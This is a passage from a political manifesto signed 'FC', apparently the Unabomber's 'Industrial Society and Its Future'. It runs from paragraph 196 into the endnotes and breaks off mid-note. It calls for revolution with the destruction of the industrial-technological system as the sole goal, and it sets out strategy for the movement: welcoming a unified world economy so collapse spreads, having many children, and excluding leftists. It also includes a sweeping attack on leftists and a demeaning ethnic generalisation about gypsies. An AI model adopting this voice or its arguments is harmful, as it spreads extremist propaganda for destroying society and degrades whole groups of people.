whole. Free trade +agreements like NAFTA and GATT are probably harmful to the environment in the short run, but in the long run they may +perhaps be advantageous because they foster economic interdependence between nations. It will be easier to destroy the +industrial system on a worldwide basis if the world economy is so unified that its breakdown in any one major nation will lead +to its breakdown in all industrialized nations. +197. Some people take the line that modern man has too much power, too much control over nature; they argue for a more +passive attitude on the part of the human race. At best these people are expressing themselves unclearly, because they fail to +distinguish between power for LARGE ORGANIZATIONS and power for INDIVIDUALS and SMALL GROUPS. It is a +mistake to argue for powerlessness and passivity, because people NEED power. Modern man as a collective entity -- that is, +the industrial system -- has immense power over nature, and we (FC) regard this as evil. But modern INDIVIDUALS and +SMALL GROUPS OF INDIVIDUALS have far less power than primitive man ever did. Generally speaking, the vast power of +“modern man” over nature is exercised not by individuals or small groups but by large organizations. To the extent that the +average modern INDIVIDUAL can wield the power of technology, he is permitted to do so only within narrow limits and only +under the supervision and control of the system. (You need a license for everything and with the license come rules and +regulations.) The individual has only those technological powers with which the system chooses to provide him. His +PERSONAL power over nature is slight. +198. Primitive INDIVIDUALS and SMALL GROUPS actually had considerable power over nature; or maybe it would be +better to say power WITHIN nature. When primitive man needed food he knew how to find and prepare edible roots, how to +track game and take it with homemade weapons. He knew how to protect himself from heat cold, rain, dangerous animals, etc. +But primitive man did relatively little damage to nature because the COLLECTIVE power of primitive society was negligible +compared to the COLLECTIVE power of industrial society. +199. Instead of arguing for powerlessness and passivity, one should argue that the power of the INDUSTRIAL SYSTEM +should be broken, and that this will greatly INCREASE the power and freedom of INDIVIDUALS and SMALL GROUPS. +200. Until the industrial system has been thoroughly wrecked, the destruction of that system must be the revolutionaries’ +ONLY goal. Other goals would distract attention and energy from the main goal. More importantly if the revolutionaries +permit themselves to have any other goal than the destruction of technology, they will be tempted to use technology as a tool +for reaching that other goal. If they give in to that temptation, they will fall right back into the technological trap, because +modern technology is a unified, tightly organized system, so that, in order to retain SOME technology, one finds oneself +obliged to retain MOST technology, hence one ends up sacrificing only token amounts of technology. +201. Suppose for example that the revolutionaries took “social justice” as a goal. Human nature being what it is, social justice +would not come about spontaneously; it would have to be enforced. In order to enforce it the revolutionaries would have to +retain central organization and control. For that they would need rapid long-distance transportation and communication, and +therefore all the technology needed to support the transportation and communication systems. To feed and clothe poor people +they would have to use agricultural and manufacturing technology. And so forth. So that the attempt to insure social justice +would force them to retain most parts of the technological system. Not that we have anything against social justice, but it must +not be allowed to interfere with the effort to get rid of the technological system. +202. It would be hopeless for revolutionaries to try to attack the system without using SOME modern technology. If nothing +else they must use the communications media to spread their message. But they should use modern technology for only ONE +purpose: to attack the technological system. +203. Imagine an alcoholic sitting with a barrel of wine in front of him. Suppose he starts saying to himself, “Wine isn’t bad for +you if used in moderation. Why, they say small amounts of wine are even good for you! It won’t do me any harm if I take just +one little drink....” Well you know what is going to happen. Never forget that the human race with technology is just like an +alcoholic with a barrel of wine. +204. Revolutionaries should have as many children as they can. There is strong scientific evidence that social attitudes are to a +significant extent inherited. No one suggests that a social attitude is a direct outcome of a person’s genetic constitution, but it +appears that personality traits are partly inherited and that certain personality traits tend, within the context of our society, to +make a person more likely to hold this or that social attitude. Objections to these findings have been raised, but the objections +are feeble and seem to be ideologically motivated. In any event, no one denies that children tend on the average to hold social +attitudes similar to those of their parents. From our point of view it doesn’t matter all that much whether the attitudes are +passed on genetically or through childhood training. In either case they ARE passed on. +205. The trouble is that many of the people who are inclined to rebel against the industrial system are also concerned about the +population problems, hence they are apt to have few or no children. In this way they may be handing the world over to the sort +of people who support or at least accept the industrial system. To insure the strength of the next generation of revolutionaries +the present generation should reproduce itself abundantly. In doing so they will be worsening the population problem only +slightly. And the important problem is to get rid of the industrial system, because once the industrial system is gone the world’s +population necessarily will decrease (see paragraph 167); whereas, if the industrial system survives, it will continue developing +new techniques of food production that may enable the world’s population to keep increasing almost indefinitely. +206. With regard to revolutionary strategy, the only points on which we absolutely insist are that the single overriding goal +must be the elimination of modern technology, and that no other goal can be allowed to compete with this one. For the rest, +revolutionaries should take an empirical approach. If experience indicates that some of the recommendations made in the +foregoing paragraphs are not going to give good results, then those recommendations should be discarded. + +Two Kinds of Technology +207. An argument likely to be raised against our proposed revolution is that it is bound to fail, because (it is claimed) +throughout history technology has always progressed, never regressed, hence technological regression is impossible. But this +claim is false. +208. We distinguish between two kinds of technology, which we will call small-scale technology and organization-dependent +technology. Small-scale technology is technology that can be used by small-scale communities without outside assistance. +Organization-dependent technology is technology that depends on large-scale social organization. We are aware of no +significant cases of regression in small-scale technology. But organization-dependent technology DOES regress when the +social organization on which it depends breaks down. Example: When the Roman Empire fell apart the Romans’ small-scale +technology survived because any clever village craftsman could build, for instance, a water wheel, any skilled smith could +make steel by Roman methods, and so forth. But the Romans’ organization- dependent technology DID regress. Their +aqueducts fell into disrepair and were never rebuilt. Their techniques of road construction were lost. The Roman system of +urban sanitation was forgotten, so that not until rather recent times did the sanitation of European cities equal that of Ancient +Rome. +209. The reason why technology has seemed always to progress is that, until perhaps a century or two before the Industrial +Revolution, most technology was small-scale technology. But most of the technology developed since the Industrial +Revolution is organization-dependent technology. Take the refrigerator for example. Without factory-made parts or the +facilities of a postindustrial machine shop it would be virtually impossible for a handful of local craftsmen to build a +refrigerator. If by some miracle they did succeed in building one it would be useless to them without a reliable source of +electric power. So they would have to dam a stream and build a generator. Generators require large amounts of copper wire. +Imagine trying to make that wire without modern machinery. And where would they get a gas suitable for refrigeration? It +would be much easier to build an icehouse or preserve food by drying or picking, as was done before the invention of the +refrigerator. +210. So it is clear that if the industrial system were once thoroughly broken down, refrigeration technology would quickly be +lost. The same is true of other organization-dependent technology. And once this technology had been lost for a generation or +so it would take centuries to rebuild it, just as it took centuries to build it the first time around. Surviving technical books would +be few and scattered. An industrial society, if built from scratch without outside help, can only be built in a series of stages: +You need tools to make tools to make tools to make tools ... . A long process of economic development and progress in social +organization is required. And, even in the absence of an ideology opposed to technology, there is no reason to believe that +anyone would be interested in rebuilding industrial society. The enthusiasm for “progress” is a phenomenon peculiar to the +modern form of society, and it seems not to have existed prior to the 17th century or thereabouts. +211. In the late Middle Ages there were four main civilizations that were about equally “advanced”: Europe, the Islamic world, +India, and the Far East (China, Japan, Korea). Three of those civilizations remained more or less stable, and only Europe +became dynamic. No one knows why Europe became dynamic at that time; historians have their theories but these are only +speculation. At any rate, it is clear that rapid development toward a technological form of society occurs only under special +conditions. So there is no reason to assume that a long-lasting technological regression cannot be brought about. +212. Would society EVENTUALLY develop again toward an industrial-technological form? Maybe, but there is no use in +worrying about it, since we can’t predict or control events 500 or 1,000 years in the future. Those problems must be dealt with +by the people who will live at that time. + +The Danger of Leftism +213. Because of their need for rebellion and for membership in a movement, leftists or persons of similar psychological type +often are unattracted to a rebellious or activist movement whose goals and membership are not initially leftist. The resulting +influx of leftish types can easily turn a non-leftist movement into a leftist one, so that leftist goals replace or distort the original +goals of the movement. +214. To avoid this, a movement that exalts nature and opposes technology must take a resolutely anti-leftist stance and must +avoid all collaboration with leftists. Leftism is in the long run inconsistent with wild nature, with human freedom and with the +elimination of modern technology. Leftism is collectivist; it seeks to bind together the entire world (both nature and the human +race) into a unified whole. But this implies management of nature and of human life by organized society, and it requires +advanced technology. You can’t have a united world without rapid transportation and communication, you can’t make all +people love one another without sophisticated psychological techniques, you can’t have a “planned society” without the +necessary technological base. Above all, leftism is driven by the need for power, and the leftist seeks power on a collective +basis, through identification with a mass movement or an organization. Leftism is unlikely ever to give up technology, because +technology is too valuable a source of collective power. +215. The anarchist [34] too seeks power, but he seeks it on an individual or small-group basis; he wants individuals and small +groups to be able to control the circumstances of their own lives. He opposes technology because it makes small groups +dependent on large organizations. +216. Some leftists may seem to oppose technology, but they will oppose it only so long as they are outsiders and the +technological system is controlled by non-leftists. If leftism ever becomes dominant in society, so that the technological system +becomes a tool in the hands of leftists, they will enthusiastically use it and promote its growth. In doing this they will be +repeating a pattern that leftism has shown again and again in the past. When the Bolsheviks in Russia were outsiders, they +vigorously opposed censorship and the secret police, they advocated self-determination for ethnic minorities, and so forth; but +as soon as they came into power themselves, they imposed a tighter censorship and created a more ruthless secret police than +any that had existed under the tsars, and they oppressed ethnic minorities at least as much as the tsars had done. In the United +States, a couple of decades ago when leftists were a minority in our universities, leftist professors were vigorous proponents of +academic freedom, but today, in those of our universities where leftists have become dominant, they have shown themselves +ready to take away from everyone else’s academic freedom. (This is “political correctness.”) The same will happen with leftists +and technology: They will use it to oppress everyone else if they ever get it under their own control. +217. In earlier revolutions, leftists of the most power-hungry type, repeatedly, have first cooperated with non-leftist +revolutionaries, as well as with leftists of a more libertarian inclination, and later have double-crossed them to seize power for +themselves. Robespierre did this in the French Revolution, the Bolsheviks did it in the Russian Revolution, the communists did +it in Spain in 1938 and Castro and his followers did it in Cuba. Given the past history of leftism, it would be utterly foolish for +non-leftist revolutionaries today to collaborate with leftists. +218. Various thinkers have pointed out that leftism is a kind of religion. Leftism is not a religion in the strict sense because +leftist doctrine does not postulate the existence of any supernatural being. But, for the leftist, leftism plays a psychological role +much like that which religion plays for some people. The leftist NEEDS to believe in leftism; it plays a vital role in his +psychological economy. His beliefs are not easily modified by logic or facts. He has a deep conviction that leftism is morally +Right with a capital R, and that he has not only a right but a duty to impose leftist morality on everyone. (However, many of +the people we are referring to as “leftists” do not think of themselves as leftists and would not describe their system of beliefs +as leftism. We use the term “leftism” because we don’t know of any better words to designate the spectrum of related creeds +that includes the feminist, gay rights, political correctness, etc., movements, and because these movements have a strong +affinity with the old left. See paragraphs 227-230.) +219. Leftism is a totalitarian force. Wherever leftism is in a position of power it tends to invade every private corner and force +every thought into a leftist mold. In part this is because of the quasi-religious character of leftism; everything contrary to leftist +beliefs represents Sin. More importantly, leftism is a totalitarian force because of the leftists’ drive for power. The leftist seeks +to satisfy his need for power through identification with a social movement and he tries to go through the power process by +helping to pursue and attain the goals of the movement (see paragraph 83). But no matter how far the movement has gone in +attaining its goals the leftist is never satisfied, because his activism is a surrogate activity (see paragraph 41). That is, the +leftist’s real motive is not to attain the ostensible goals of leftism; in reality he is motivated by the sense of power he gets from +struggling for and then reaching a social goal. [35] Consequently the leftist is never satisfied with the goals he has already +attained; his need for the power process leads him always to pursue some new goal. The leftist wants equal opportunities for +minorities. When that is attained he insists on statistical equality of achievement by minorities. And as long as anyone harbors +in some corner of his mind a negative attitude toward some minority, the leftist has to re-educated him. And ethnic minorities +are not enough; no one can be allowed to have a negative attitude toward homosexuals, disabled people, fat people, old people, +ugly people, and on and on and on. It’s not enough that the public should be informed about the hazards of smoking; a warning +has to be stamped on every package of cigarettes. Then cigarette advertising has to be restricted if not banned. The activists +will never be satisfied until tobacco is outlawed, and after that it will be alcohol, then junk food, etc. Activists have fought +gross child abuse, which is reasonable. But now they want to stop all spanking. When they have done that they will want to ban +something else they consider unwholesome, then another thing and then another. They will never be satisfied until they have +complete control over all child rearing practices. And then they will move on to another cause. +220. Suppose you asked leftists to make a list of ALL the things that were wrong with society, and then suppose you instituted +EVERY social change that they demanded. It is safe to say that within a couple of years the majority of leftists would find +something new to complain about, some new social “evil” to correct because, once again, the leftist is motivated less by +distress at society’s ills than by the need to satisfy his drive for power by imposing his solutions on society. +221. Because of the restrictions placed on their thoughts and behavior by their high level of socialization, many leftists of the +over-socialized type cannot pursue power in the ways that other people do. For them the drive for power has only one morally +acceptable outlet, and that is in the struggle to impose their morality on everyone. +222. Leftists, especially those of the oversocialized type, are True Believers in the sense of Eric Hoffer’s book, “The True +Believer.” But not all True Believers are of the same psychological type as leftists. Presumably a true-believing nazi, for +instance, is very different psychologically from a true-believing leftist. Because of their capacity for single-minded devotion to +a cause, True Believers are a useful, perhaps a necessary, ingredient of any revolutionary movement. This presents a problem +with which we must admit we don’t know how to deal. We aren’t sure how to harness the energies of the True Believer to a +revolution against technology. At present all we can say is that no True Believer will make a safe recruit to the revolution +unless his commitment is exclusively to the destruction of technology. If he is committed also to another ideal, he may want to +use technology as a tool for pursuing that other ideal (see paragraphs 220, 221). +223. Some readers may say, “This stuff about leftism is a lot of crap. I know John and Jane who are leftish types and they don’t +have all these totalitarian tendencies.” It’s quite true that many leftists, possibly even a numerical majority, are decent people +who sincerely believe in tolerating others’ values (up to a point) and wouldn’t want to use high-handed methods to reach their +social goals. Our remarks about leftism are not meant to apply to every individual leftist but to describe the general character of +leftism as a movement. And the general character of a movement is not necessarily determined by the numerical proportions of +the various kinds of people involved in the movement. +224. The people who rise to positions of power in leftist movements tend to be leftists of the most power-hungry type, because +power-hungry people are those who strive hardest to get into positions of power. Once the power-hungry types have captured +control of the movement, there are many leftists of a gentler breed who inwardly disapprove of many of the actions of the +leaders, but cannot bring themselves to oppose them. They NEED their faith in the movement, and because they cannot give up +this faith they go along with the leaders. True, SOME leftists do have the guts to oppose the totalitarian tendencies that emerge, +but they generally lose, because the power-hungry types are better organized, are more ruthless and Machiavellian and have +taken care to build themselves a strong power base. +225. These phenomena appeared clearly in Russia and other countries that were taken over by leftists. Similarly, before the +breakdown of communism in the, USSR, leftish types in the West would, seldom criticize that country. If prodded they would +admit that the USSR did many wrong things, but then they would try to find excuses for the communists and begin talking +about the faults of the West. They always opposed Western military resistance to communist aggression. Leftish types all over +the world vigorously protested the U.S. military action in Vietnam, but when the USSR invaded Afghanistan they did nothing. +Not that they approved of the Soviet actions; but because of their leftist faith, they just couldn’t bear to put themselves in +opposition to communism. Today, in those of our universities where “political correctness” has become dominant, there are +probably many leftish types who privately disapprove of the suppression of academic freedom, but they go along with it +anyway. +226. Thus the fact that many individual leftists are personally mild and fairly tolerant people by no means prevents leftism as a +whole form having a totalitarian tendency. +227. Our discussion of leftism has a serious weakness. It is still far from clear what we mean by the word “leftist.” There +doesn’t seem to be much we can do about this. Today leftism is fragmented into a whole spectrum of activist movements. Yet +not all activist movements are leftist, and some activist movements (e.g., radical environmentalism) seem to include both +personalities of the leftist type and personalities of thoroughly un-leftist types who ought to know better than to collaborate +with leftists. Varieties of leftists fade out gradually into varieties of non-leftists and we ourselves would often be hard-pressed +to decide whether a given individual is or is not a leftist. To the extent that it is defined at all, our conception of leftism is +defined by the discussion of it that we have given in this article, and we can only advise the reader to use his own judgment in +deciding who is a leftist. +228. But it will be helpful to list some criteria for diagnosing leftism. These criteria cannot be applied in a cut and dried +manner. Some individuals may meet some of the criteria without being leftists, some leftists may not meet any of the criteria. +Again, you just have to use your judgment. +229. The leftist is oriented toward large-scale collectivism. He emphasizes the duty of the individual to serve society and the +duty of society to take care of the individual. He has a negative attitude toward individualism. He often takes a moralistic tone. +He tends to be for gun control, for sex education and other psychologically “enlightened” educational methods, for social +planning, for affirmative action, for multi- culturalism. He tends to identify with victims. He tends to be against competition +and against violence, but he often finds excuses for those leftists who do commit violence. He is fond of using the common +catch-phrases of the left, like “racism,” “sexism,” “homophobia,” “capitalism,” “imperialism,” “neocolonialism,” “genocide,” +“social change,” “social justice,” “social responsibility.” Maybe the best diagnostic trait of the leftist is his tendency to +sympathize with the following movements: feminism, gay rights, ethnic rights, disability rights, animal rights, political +correctness. Anyone who strongly sympathizes with ALL of these movements is almost certainly a leftist. [36] +230. The more dangerous leftists, that is, those who are most power-hungry, are often characterized by arrogance or by a +dogmatic approach to ideology. However, the most dangerous leftists of all may be certain oversocialized types who avoid +irritating displays of aggressiveness and refrain from advertising their leftism, but work quietly and unobtrusively to promote +collectivist values, “enlightened” psychological techniques for socializing children, dependence of the individual on the +system, and so forth. These crypto-leftists (as we may call them) approximate certain bourgeois types as far as practical action +is concerned, but differ from them in psychology, ideology and motivation. The ordinary bourgeois tries to bring people under +control of the system in order to protect his way of life, or he does so simply because his attitudes are conventional. The +crypto-leftist tries to bring people under control of the system because he is a True Believer in a collectivist ideology. The +crypto-leftist is differentiated from the average leftist of the oversocialized type by the fact that his rebellious impulse is +weaker and he is more securely socialized. He is differentiated from the ordinary well-socialized bourgeois by the fact that +there is some deep lack within him that makes it necessary for him to devote himself to a cause and immerse himself in a +collectivity. And maybe his (well-sublimated) drive for power is stronger than that of the average bourgeois. + +Final Note +231. Throughout this article we’ve made imprecise statements and statements that ought to have had all sorts of qualifications +and reservations attached to them; and some of our statements may be flatly false. Lack of sufficient information and the need +for brevity made it impossible for us to formulate our assertions more precisely or add all the necessary qualifications. And of +course in a discussion of this kind one must rely heavily on intuitive judgment, and that can sometimes be wrong. So we don’t +claim that this article expresses more than a crude approximation to the truth. +232. All the same, we are reasonably confident that the general outlines of the picture we have painted here are roughly correct. +Just one possible weak point needs to be mentioned. We have portrayed leftism in its modern form as a phenomenon peculiar +to our time and as a symptom of the disruption of the power process. But we might possibly be wrong about this. +Oversocialized types who try to satisfy their drive for power by imposing their morality on everyone have certainly been +around for a long time. But we THINK that the decisive role played by feelings of inferiority, low self-esteem, powerlessness, +identification with victims by people who are not themselves victims, is a peculiarity of modern leftism. Identification with +victims by people not themselves victims can be seen to some extent in 19th century leftism and early Christianity but as far as +we can make out, symptoms of low self-esteem, etc., were not nearly so evident in these movements, or in any other +movements, as they are in modern leftism. But we are not in a position to assert confidently that no such movements have +existed prior to modern leftism. This is a significant question to which historians ought to give their attention. + +Notes +1. (Paragraph 19) We are asserting that ALL, or even most, bullies and ruthless competitors suffer from feelings of inferiority. +2. (Paragraph 25) During the Victorian period many oversocialized people suffered from serious psychological problems as a +result of repressing or trying to repress their sexual feelings. Freud apparently based his theories on people of this type. Today +the focus of socialization has shifted from sex to aggression. +3. (Paragraph 27) Not necessarily including specialists in engineering or the “hard” sciences. +4. (Paragraph 28) There are many individuals of the middle and upper classes who resist some of these values, but usually their +resistance is more or less covert. Such resistance appears in the mass media only to a very limited extent. The main thrust of +propaganda in our society is in favor of the stated values. The main reason why these values have become, so to speak, the +official values of our society is that they are useful to the industrial system. Violence is discouraged because it disrupts the +functioning of the system. Racism is discouraged because ethnic conflicts also disrupt the system, and discrimination wastes +the talents of minority-group members who could be useful to the system. Poverty must be “cured” because the underclass +causes problems for the system and contact with the underclass lowers the morale of the other classes. Women are encouraged +to have careers because their talents are useful to the system and, more importantly, because by having regular jobs women +become better integrated into the system and tied directly to it rather than to their families. This helps to weaken family +solidarity. (The leaders of the system say they want to strengthen the family, but they really mean is that they want the family +to serve as an effective tool for socializing children in accord with the needs of the system. We argue in paragraphs 51, 52 that +the system cannot afford to let the family or other small-scale social groups be strong or autonomous.) +5. (Paragraph 42) It may be argued that the majority of people don’t want to make their own decisions but want leaders to do +their thinking for them. There is an element of truth in this. People like to make their own decisions in small matters, but +making decisions on difficult, fundamental questions requires facing up to psychological conflict, and most people hate +psychological conflict. Hence they tend to lean on others in making difficult decisions. But it does not follow that they like to +have decisions imposed upon them without having any opportunity to influence those decisions. The majority of people are +natural followers, not leaders, but they like to have direct personal access to their leaders, they want to be able to influence the +leaders and participate to some extent in making even the difficult decisions. At least to that degree they need autonomy. +6. (Paragraph 44) Some of the symptoms listed are similar to those shown by caged animals. To explain how these symptoms +arise from deprivation with respect to the power process: common-sense understanding of human nature tells one that lack of +goals whose attainment requires effort leads to boredom and that boredom, long continued, often leads eventually to +depression. Failure to attain goals leads to frustration and lowering of self-esteem. Frustration leads to anger, anger to +aggression, often in the form of spouse or child abuse. It has been shown that long-continued frustration commonly leads to +depression and that depression tends to cause guilt, sleep disorders, eating disorders and bad feelings about oneself. Those who +are tending toward depression seek pleasure as an antidote; hence insatiable hedonism and excessive sex, with perversions as a +means of getting new kicks. Boredom too tends to cause excessive pleasure-seeking since, lacking other goals, people often use +pleasure as a goal. See accompanying diagram. +The foregoing is a simplification. Reality is more complex, and of course, deprivation with respect to the power process is not +the ONLY cause of the symptoms described. By the way, when we mention depression we do not necessarily mean depression +that is severe enough to be treated by a psychiatrist. Often only mild forms of depression are involved. And when we speak of +goals we do not necessarily mean long-term, thought-out goals. For many or most people through much of human history, the +goals of a hand-to-mouth existence (merely providing oneself and one’s family with food from day to day) have been quite +sufficient. +7. (Paragraph 52) A partial exception may be made for a few passive, inward-looking groups, such as the Amish, which have +little effect on the wider society. Apart from these, some genuine small-scale communities do exist in America today. For +instance, youth gangs and “cults.” Everyone regards them as dangerous, and so they are, because the members of these groups +are loyal primarily to one another rather than to the system, hence the system cannot control them. Or take the gypsies. The +gypsies commonly get away with theft and fraud because their loyalties are such that they can always get other gypsies to give +testimony that “proves” their innocence. Obviously the system would be in serious trouble if too many people belonged to such +groups. Some of the early-20th century Chinese thinkers who were concerned with modernizing China recognized the +necessity breaking down small-scale social groups such as the family: “(According to Sun Yat-sen) the Chinese people needed +a new surge of patriotism, which would lead to a transfer of loyalty from the family to the state.... (According to Li Huang) +traditional attachments, particularly to the family had to be abandoned if nationalism were to develop in China.” (Chester C. +Tan, “Chinese Political Thought in the Twentieth Century,” page 125, page 297.) +8. (Paragraph 56) Yes, we know that 19th century America had its problems, and serious ones, but for the sake of brevity we +have to express ourselves in simplified terms. +9. (Paragraph 61) We leave aside the “underclass.” We are speaking of the mainstream. +10. (Paragraph 62) Some social scientists, educators, “mental health” professionals and the like are doing their best to push the +social drives into group 1 by trying to see to it that everyone has a satisfactory social life. +11. (Paragraphs 63, 82) Is the drive for endless material acquisition really an artificial creation of the advertising and marketing +industry? Certainly there is no innate human drive for material acquisition. There have been many cultures in which people +have desired little material wealth beyond what was necessary to satisfy their basic physical needs (Australian aborigines, +traditional Mexican peasant culture, some African cultures). On the other hand there have also been many pre-industrial +cultures in which material acquisition has played an important role. So we can’t claim that today’s acquisition-oriented culture +is exclusively a creation of the advertising and marketing industry. But it is clear that the advertising and marketing industry +has had an important part in creating that culture. The big corporations that spend millions on advertising wouldn’t be spending +that kind of money without solid proof that they were getting it back in increased sales. One member of FC met a sales +manager a couple of years ago who was frank enough to tell him, “Our job is to make people buy things they don’t want and +don’t need.” He then described how an untrained novice could present people with the facts about a product, and make no sales +at all, while a trained and experienced professional salesman would make lots of sales to the same people. This shows that +people are manipulated into buying things they don’t really want. +12. (Paragraph 64) The problem of purposelessness seems to have become less serious during the last 15 years or so, because +people now feel less secure physically and economically than they did earlier, and the need for security provides them with a +goal. But purposelessness has been replaced by frustration over the difficulty of attaining security. We emphasize the problem +of purposelessness because the liberals and leftists would wish to solve our social problems by having society guarantee +everyone’s security; but if that could be done it would only bring back the problem of purposelessness. The real issue is not +whether society provides well or poorly for people’s security; the trouble is that people are dependent on the system for their +security rather than having it in their own hands. This, by the way, is part of the reason why some people get worked up about +the right to bear arms; possession of a gun puts that aspect of their security in their own hands. +13. (Paragraph 66) Conservatives’ efforts to decrease the amount of government regulation are of little benefit to the average +man. For one thing, only a fraction of the regulations can be eliminated because most regulations are necessary. For another +thing, most of the deregulation affects business rather than the average individual, so that its main effect is to take power from +the government and give it to private corporations. What this means for the average man is that government interference in his +life is replaced by interference from big corporations, which may be permitted, for example, to dump more chemicals that get +into his water supply and give him cancer. The conservatives are just taking the average man for a sucker, exploiting his +resentment of Big Government to promote the power of Big Business. +14. (Paragraph 73) When someone approves of the purpose for which propaganda is being used in a given case, he generally +calls it “education” or applies to it some similar euphemism. But propaganda is propaganda regardless of the purpose for which +it is used. +15. (Paragraph 83) We are not expressing approval or disapproval of the Panama invasion. We only use it to illustrate a point. +16. (Paragraph 95) When the American colonies were under British rule there were fewer and less effective legal guarantees of +freedom than there were after the American Constitution went into effect, yet there was more personal freedom in preindustrial America, both before and after the War of Independence, than there was after the Industrial Revolution took hold in +this country. We quote from “Violence in America: Historical and Comparative Perspectives,” edited by Hugh Davis Graham +and Ted Robert Gurr, Chapter 12 by Roger Lane, pages 476-478: “The progressive heightening of standards of propriety, and +with it the increasing reliance on official law enforcement (in l9th century America) ... were common to the whole society.... +[T]he change in social behavior is so long term and so widespread as to suggest a connection with the most fundamental of +contemporary social processes; that of industrial urbanization itself....”Massachusetts in 1835 had a population of some +660,940, 81 percent rural, overwhelmingly pre-industrial and native born. It’s citizens were used to considerable personal +freedom. Whether teamsters, farmers or artisans, they were all accustomed to setting their own schedules, and the nature of +their work made them physically independent of each other.... Individual problems, sins or even crimes, were not generally +cause for wider social concern....” But the impact of the twin movements to the city and to the factory, both just gathering force +in 1835, had a progressive effect on personal behavior throughout the 19th century and into the 20th. The factory demanded +regularity of behavior, a life governed by obedience to the rhythms of clock and calendar, the demands of foreman and +supervisor. In the city or town, the needs of living in closely packed neighborhoods inhibited many actions previously +unobjectionable. Both blue- and white-collar employees in larger establishments were mutually dependent on their fellows; as +one man’s work fit into anther’s, so one man’s business was no longer his own. “The results of the new organization of life and +work were apparent by 1900, when some 76 percent of the 2,805,346 inhabitants of Massachusetts were classified as urbanites. +Much violent or irregular behavior which had been tolerable in a casual, independent society was no longer acceptable in the +more formalized, cooperative atmosphere of the later period.... The move to the cities had, in short, produced a more tractable, +more socialized, more ‘civilized’ generation than its predecessors.” +If copyright problems make it impossible for this long quotation to be printed, then please change Note 16 to read as follows: +16. (Paragraph 95) When the American colonies were under British rule there were fewer and less effective legal guarantees of +freedom than there were after the American Constitution went into effect, yet there was more personal freedom in preindustrial America, both before and after the War of Independence, than there was after the Industrial Revolution took hold in +this country. In “Violence in America: Historical and Comparative Perspectives,” edited by Hugh Davis Graham and Ted +Robert Gurr, Chapter 12 by Roger Lane, it is explained how in pre-industrial America the average person had greater +independence and autonomy than he does today, and how the process of industrialization necessarily led to the restriction of +personal freedom. +17. (Paragraph 117) Apologists for the system are fond of citing cases in which elections have been decided by one or two +votes, but such cases are rare. +18. (Paragraph 119) “Today, in technologically advanced lands, men live very similar lives in spite of geographical, religious, +and political differences. The daily lives of a Christian bank clerk in Chicago, a Buddhist bank clerk in Tokyo, and a +Communist bank clerk in Moscow are far more alike than the life of any one of them is like that of any single man who lived a +thousand years ago. These similarities are the result of a common technology....” L. Sprague de Camp, “The Ancient +Engineers,” Ballantine edition, page 17. The lives of the three bank clerks are not IDENTICAL. Ideology does have SOME +effect. But all technological societies, in order to survive, must evolve along APPROXIMATELY the same trajectory. +19. (Paragraph 123) Just think an irresponsible genetic engineer might create a lot of terrorists. +20. (Paragraph 124) For a further example of undesirable consequences of medical progress, suppose a reliable cure for cancer +is discovered. Even if the treatment is too expensive to be available to any but the elite, it will greatly reduce their incentive to +stop the escape of carcinogens into the environment. +21. (Paragraph 128) Since many people may find paradoxical the notion that a large number of good things can add up to a bad +thing, we illustrate with an analogy. Suppose Mr. A is playing chess with Mr. B. Mr. C, a Grand Master, is looking over Mr. +A’s shoulder. Mr. A of course wants to win his game, so if Mr. C points out a good move for him to make, he is doing Mr. A a +favor. But suppose now that Mr. C tells Mr. A how to make ALL of his moves. In each particular instance he does Mr. A a +favor by showing him his best move, but by making ALL of his moves for him he spoils his game, since there is not point in +Mr. A’s playing the game at all if someone else makes all his moves. The situation of modern man is analogous to that of Mr. +A. The system makes an individual’s life easier for him in innumerable ways, but in doing so it deprives him of control over +his own fate. +22. (Paragraph 137) Here we are considering only the conflict of values within the mainstream. For the sake of simplicity we +leave out of the picture “outsider” values like the idea that wild nature is more important than human economic welfare. +23. (Paragraph 137) Self-interest is not necessarily MATERIAL self-interest. It can consist in fulfillment of some +psychological need, for example, by promoting one’s own ideology or religion. +24. (Paragraph 139) A qualification: It is in the interest of the system to permit a certain prescribed degree of freedom in some +areas. For example, economic freedom (with suitable limitations and restraints) has proved effective in promoting economic +growth. But only planned, circumscribed, limited freedom is in the interest of the system. The individual must always be kept +on a leash, even if the leash is sometimes long (see paragraphs 94, 97). +25. (Paragraph 143) We don’t mean to suggest that the efficiency or the potential for survival of a society has always been +inversely proportional to the amount of pressure or discomfort to which the society subjects people. That certainly is not the +case. There is good reason to believe that many primitive societies subjected people to less pressure than European society did, +but European society proved far more efficient than any primitive society and always won out in conflicts with such societies +because of the advantages conferred by technology. +26. (Paragraph 147) If you think that more effective law enforcement is unequivocally good because it suppresses crime, then +remember that crime as defined by the system is not necessarily what YOU would call crime. Today, smoking marijuana is a +“crime,” and, in some places in the U.S., so is possession of an unregistered handgun. Tomorrow, possession of ANY firearm, +registered or not, may be made a crime, and the same thing may happen with disapproved methods of child-rearing, such as +spanking. In some countries, expression of dissident political opinions is a crime, and there is no certainty that this will never +happen in the U.S., since no constitution or political system lasts forever. If a society needs a large, powerful law enforcement +establishment, then there is something gravely wrong with that society; it must be subjecting people to severe pressures if so +many refuse to follow the rules, or follow them only because forced. Many societies in the past have gotten by with little or no +formal law-enforcement. +27. (Paragraph 151) To be sure, past societies have had means of influencing human behavior, but these have been primitive +and of low effectiveness compared with the technological means that are now being developed. +28. (Paragraph 152) However, some psychologists have publicly expressed opinions indicating their contempt for human +freedom. And the mathematician Claude Shannon was quoted in Omni (August 1987) as saying, “I visualize a time when we +will be to robots what dogs are to humans, and I’m rooting for the machines.” +29. (Paragraph 154) This is no science fiction! After writing paragraph 154 we came across an article in Scientific American +according to which scientists are actively developing techniques for identifying possible future criminals and for treating them +by a combination of biological and psychological means. Some scientists advocate compulsory application of the treatment, +which may be available in the near future. (See “Seeking the Criminal Element,” by W. Wayt Gibbs, Scientific American, +March 1995.) Maybe you think this is OK because the treatment would be applied to those who might become violent +criminals. But of course it won’t stop there. Next, a treatment will be applied to those who might become drunk drivers (they +endanger human life too), then perhaps to peel who spank their children, then to environmentalists who sabotage logging +equipment, eventually to anyone whose behavior is inconvenient for the system. +30. (Paragraph 184) A further advantage of nature as a counter-ideal to technology is that, in many people, nature inspires the +kind of reverence that is associated with religion, so that nature could perhaps be idealized on a religious basis. It is true that in +many societies religion has served as a support and justification for the established order, but it is also true that religion has +often provided a basis for rebellion. Thus it may be useful to introduce a religious element into the rebellion against +technology, the more so because Western society today has no strong religious foundation. Religion, nowadays either is used +as cheap and transparent support for narrow, short-sighted selfishness (some conservatives use it this way), or even is cynically +exploited to make easy money (by many evangelists), or has degenerated into crude irrationalism (fundamentalist protestant +sects, “cults”), or is simply stagnant 